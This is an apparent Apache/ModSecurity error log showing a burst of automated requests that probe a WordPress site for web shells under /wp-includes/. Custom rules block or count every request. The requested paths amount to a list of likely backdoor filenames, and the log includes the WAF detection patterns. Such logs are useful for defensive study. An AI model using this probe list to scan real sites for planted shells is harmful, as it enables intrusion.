[Thu Apr 23 07:30:22.832916 2026] [:error] [pid 65000:tid 65051] [client 89.251.0.137:28055] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aelaDr6vRb9j6psK2ZahJwAAAhI"]
[Thu Apr 23 07:30:23.492204 2026] [:error] [pid 64998:tid 65022] [client 89.251.0.150:49865] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aelaD4V5EysYcTLjmwj9SAAAAdQ"]
[Thu Apr 23 07:30:25.106303 2026] [proxy_fcgi:error] [pid 59700:tid 59722] [client 89.251.0.136:42511] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:30:25.438617 2026] [:error] [pid 59700:tid 59715] [client 89.251.0.136:42511] [client 89.251.0.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.136, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aelaEZXyGZJFeAIDWtlfvAAAAU0"]
[Thu Apr 23 07:30:26.267840 2026] [:error] [pid 59700:tid 59714] [client 89.251.0.136:42511] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aelaEpXyGZJFeAIDWtlfyAAAAUw"]
[Thu Apr 23 07:30:28.139708 2026] [:error] [pid 65000:tid 65032] [client 89.251.0.147:49119] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aelaFL6vRb9j6psK2ZahdwAAAgM"]
[Thu Apr 23 07:30:29.218367 2026] [:error] [pid 64998:tid 65011] [client 89.251.0.138:58839] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aelaFYV5EysYcTLjmwj9dwAAAck"]
[Thu Apr 23 07:30:30.919186 2026] [:error] [pid 59700:tid 59715] [client 89.251.0.135:50665] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aelaFpXyGZJFeAIDWtlgCgAAAU0"]
[Thu Apr 23 07:30:32.775041 2026] [:error] [pid 64998:tid 65006] [client 89.251.0.140:45577] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aelaGIV5EysYcTLjmwj9rgAAAcQ"]
[Thu Apr 23 07:30:34.809246 2026] [:error] [pid 42971:tid 43009] [client 89.251.0.125:32949] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aelaGjEP2_5RswrH8bGwtAAAABc"]
[Thu Apr 23 07:30:37.022583 2026] [:error] [pid 43083:tid 43098] [client 89.251.0.148:25183] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aelaHTC5hrvNXosL83LTpwAAAM0"]
[Thu Apr 23 07:30:37.658052 2026] [:error] [pid 25635:tid 25645] [client 89.251.0.120:51175] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aelaHcRxv6UsgRGKB3LlnQAAAQY"]
[Thu Apr 23 07:30:38.632626 2026] [:error] [pid 64998:tid 65003] [client 89.251.0.133:20467] [client 89.251.0.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aelaHoV5EysYcTLjmwj99AAAAcE"]
[Thu Apr 23 07:30:41.276381 2026] [:error] [pid 42971:tid 42990] [client 89.251.0.147:56775] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aelaITEP2_5RswrH8bGw7wAAAAQ"]
[Thu Apr 23 07:30:42.747290 2026] [:error] [pid 42972:tid 43025] [client 89.251.0.135:39205] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||www.measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "www.measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aelaIsOAb-3sOknsk4cmRQAAAEk"]
[Thu Apr 23 07:30:43.060056 2026] [:error] [pid 42972:tid 43019] [client 89.251.0.135:39205] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aelaI8OAb-3sOknsk4cmSQAAAEM"]
[Thu Apr 23 07:30:44.451285 2026] [:error] [pid 59700:tid 59708] [client 89.251.0.113:53345] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aelaJJXyGZJFeAIDWtlgigAAAUY"]
[Thu Apr 23 07:30:45.681400 2026] [:error] [pid 65000:tid 65048] [client 89.251.0.139:45171] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aelaJb6vRb9j6psK2ZaiJwAAAg8"]
[Thu Apr 23 07:30:48.635643 2026] [:error] [pid 59700:tid 59719] [client 89.251.0.131:65219] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aelaKJXyGZJFeAIDWtlgowAAAVE"]
[Thu Apr 23 07:30:51.344200 2026] [:error] [pid 43083:tid 43098] [client 89.251.0.131:21587] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aelaKzC5hrvNXosL83LT-AAAAM0"]
[Thu Apr 23 07:30:52.648027 2026] [:error] [pid 64998:tid 65015] [client 89.251.0.115:37675] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aelaLIV5EysYcTLjmwj-aAAAAc0"]
[Thu Apr 23 07:30:55.770071 2026] [:error] [pid 42972:tid 43016] [client 89.251.0.117:49987] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aelaL8OAb-3sOknsk4cmrQAAAEA"]
[Thu Apr 23 07:30:56.385638 2026] [:error] [pid 59700:tid 59718] [client 89.251.0.135:51801] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aelaMJXyGZJFeAIDWtlg3AAAAVA"]
[Thu Apr 23 07:30:57.362997 2026] [:error] [pid 64998:tid 65007] [client 89.251.0.150:65045] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aelaMYV5EysYcTLjmwj-lQAAAcU"]
[Thu Apr 23 07:30:58.017519 2026] [:error] [pid 42972:tid 43024] [client 89.251.0.143:51065] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aelaMsOAb-3sOknsk4cmugAAAEg"]
[Thu Apr 23 07:30:59.341861 2026] [:error] [pid 65000:tid 65045] [client 89.251.0.120:25769] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aelaM76vRb9j6psK2Zai-QAAAgw"]
[Thu Apr 23 07:31:01.047147 2026] [:error] [pid 65000:tid 65056] [client 89.251.0.115:30219] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aelaNb6vRb9j6psK2ZajKAAAAhc"]
[Thu Apr 23 07:31:02.076721 2026] [:error] [pid 64998:tid 65022] [client 89.251.0.148:59249] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aelaNoV5EysYcTLjmwj-5gAAAdQ"]
[Thu Apr 23 07:31:04.376591 2026] [:error] [pid 43083:tid 43092] [client 89.251.0.151:41273] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aelaODC5hrvNXosL83LUcAAAAMc"]
[Thu Apr 23 07:31:05.884005 2026] [:error] [pid 42971:tid 43002] [client 89.251.0.114:46539] [client 89.251.0.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aelaOTEP2_5RswrH8bGxhgAAABA"]
[Thu Apr 23 07:31:07.631318 2026] [:error] [pid 64998:tid 65011] [client 89.251.0.147:38269] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aelaO4V5EysYcTLjmwj_GAAAAck"]
[Thu Apr 23 07:31:08.523909 2026] [:error] [pid 43083:tid 43092] [client 89.251.0.120:47569] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aelaPDC5hrvNXosL83LUlQAAAMc"]
[Thu Apr 23 07:31:09.271773 2026] [:error] [pid 42973:tid 43050] [client 89.251.0.143:54671] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aelaPW6I0QqmmmLTHE3eugAAAIc"]
[Thu Apr 23 07:31:10.724715 2026] [:error] [pid 65000:tid 65048] [client 89.251.0.126:25801] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aelaPr6vRb9j6psK2Zaj_wAAAg8"]
[Thu Apr 23 07:31:12.878712 2026] [:error] [pid 64998:tid 65022] [client 89.251.0.140:49255] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aelaQIV5EysYcTLjmwj_RQAAAdQ"]
[Thu Apr 23 07:31:13.594271 2026] [:error] [pid 64967:tid 64987] [client 89.251.0.126:20061] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aelaQYAV4GfOOdX8QzoYUAAAAZI"]
[Thu Apr 23 07:31:14.728020 2026] [:error] [pid 59700:tid 59712] [client 89.251.0.147:51687] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aelaQpXyGZJFeAIDWtlhWQAAAUo"]
[Thu Apr 23 07:31:16.458390 2026] [:error] [pid 42971:tid 43001] [client 89.251.0.126:37931] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aelaRDEP2_5RswrH8bGxrAAAAA8"]
[Thu Apr 23 07:31:17.937126 2026] [:error] [pid 59700:tid 59717] [client 89.251.0.146:35985] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aelaRZXyGZJFeAIDWtlhbwAAAU8"]
[Thu Apr 23 07:31:20.188574 2026] [:error] [pid 64998:tid 65025] [client 89.251.0.124:35187] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aelaSIV5EysYcTLjmwj_ggAAAdc"]
[Thu Apr 23 07:31:21.892684 2026] [:error] [pid 65000:tid 65043] [client 89.251.0.151:32363] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aelaSb6vRb9j6psK2ZakwQAAAgo"]
[Thu Apr 23 07:31:22.646995 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.126:56891] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aelaSjC5hrvNXosL83LVFgAAAMI"]
[Thu Apr 23 07:31:24.118687 2026] [:error] [pid 64998:tid 65002] [client 89.251.0.145:51515] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aelaTIV5EysYcTLjmwj_rAAAAcA"]
[Thu Apr 23 07:31:25.713436 2026] [:error] [pid 42971:tid 42988] [client 89.251.0.146:47349] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aelaTTEP2_5RswrH8bGx0QAAAAI"]
[Thu Apr 23 07:31:27.134537 2026] [:error] [pid 64998:tid 65017] [client 89.251.0.148:56075] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aelaT4V5EysYcTLjmwj_1QAAAc8"]
[Thu Apr 23 07:31:28.641196 2026] [:error] [pid 43083:tid 43108] [client 89.251.0.119:47101] [client 89.251.0.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aelaUDC5hrvNXosL83LVUAAAANc"]
[Thu Apr 23 07:31:33.184884 2026] [:error] [pid 25635:tid 25642] [client 89.251.0.128:58823] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aelaVcRxv6UsgRGKB3LmXAAAAQM"]
[Thu Apr 23 07:31:33.833996 2026] [:error] [pid 25635:tid 25659] [client 89.251.0.143:39703] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aelaVcRxv6UsgRGKB3LmXgAAARQ"]
[Thu Apr 23 07:31:35.330842 2026] [:error] [pid 43083:tid 43094] [client 89.251.0.113:27123] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aelaVzC5hrvNXosL83LVnwAAAMk"]
[Thu Apr 23 07:31:37.536270 2026] [:error] [pid 42971:tid 42989] [client 89.251.0.138:25297] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aelaWTEP2_5RswrH8bGyJgAAAAM"]
[Thu Apr 23 07:31:38.988384 2026] [:error] [pid 42971:tid 42989] [client 89.251.0.143:46417] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aelaWjEP2_5RswrH8bGyOAAAAAM"]
[Thu Apr 23 07:31:40.463037 2026] [:error] [pid 64998:tid 65026] [client 89.251.0.137:32583] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aelaXIV5EysYcTLjmwgAewAAAdg"]
